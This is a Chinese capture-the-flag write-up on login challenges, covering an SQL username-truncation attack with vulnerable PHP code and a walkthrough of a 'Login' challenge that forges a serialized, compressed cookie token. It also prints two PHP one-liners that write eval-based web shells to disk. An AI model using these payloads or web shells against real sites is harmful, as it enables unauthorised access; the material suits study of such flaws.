令人窒息的登录题

一、约束攻击

假如有这么一个登录注册业务
注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// Checking whether a user with the same username exists
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT * FROM users WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0) {
// User exists, exit gracefully
}
else {
// If not, only then insert a new entry
$query = "INSERT INTO users(username, password) VALUES ('$username','$password')";
}
}

登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
WHERE username='$username'
AND password='$password' ";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0){
$row = mysql_fetch_assoc($res);
return $row['username'];
}
}
return Null;

发生原因
1.mysql处于ANSI模式。如果是TRADITIONAL模式或者STRICT_TRANS_TABLES模式会报错data too long for column。
2.服务端没有对用户名长度进行限制。如果服务端限制了用户名长度就自然就不客能导致数据库截断,也就没有利用条件。
3.登陆验证的SQL语句必须是用户名和密码一起验证。如果是验证流程是先根据用户名查找出对应的密码然后再比对密码,当使用vampire为用户名来查询密码的话,数据库此时就会返回两条记录,而一般取第一条即目标用户的记录,那么传输的密码肯定和目标用户密码匹配不上的。
4.验证成功后返回的必须是用户传递进来的用户名,而不是从数据库取出的用户名。因为当我们以用户vampire和密码random_pass登陆时,其实数据库返回的是我们自己的用户信息,而我们的用户名其实是vampire+若干个空格,如果此后的业务逻辑以该用户名为准,那么就不能达到越权的目的了。
payload

1
2
注册一个账号为admin                        1 
密码随意即可登录获取flag

写入一句话木马

1
2
fputs(fopen('index1.php','w'),'<?php @eval($_POST[c]); ?>');
file_put_contents("aka.php","<?php eval(\$_POST[aka]);?>");

百度杯”CTF比赛 十月场 —–Login

先test1,test1登录,请求头中有个show:0改成1,看到代码,就是代码审计咯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}

function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}

if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?

得知要得到flag需要满足 $login[‘user’] === ‘ichunqiu’

而user被$login = unserialize(gzuncompress(base64_decode($requset[‘token’])));处理过

1
2
3
4
5
<?php
$a=array('user'=>'ichunqiu');
var_dump($a);
echo base64_encode(gzcompress(serialize($a)));
?>

得到eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
抓包将cookie中加一个token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
有一点很头疼,为啥直接在get请求中加不行么,一定要token中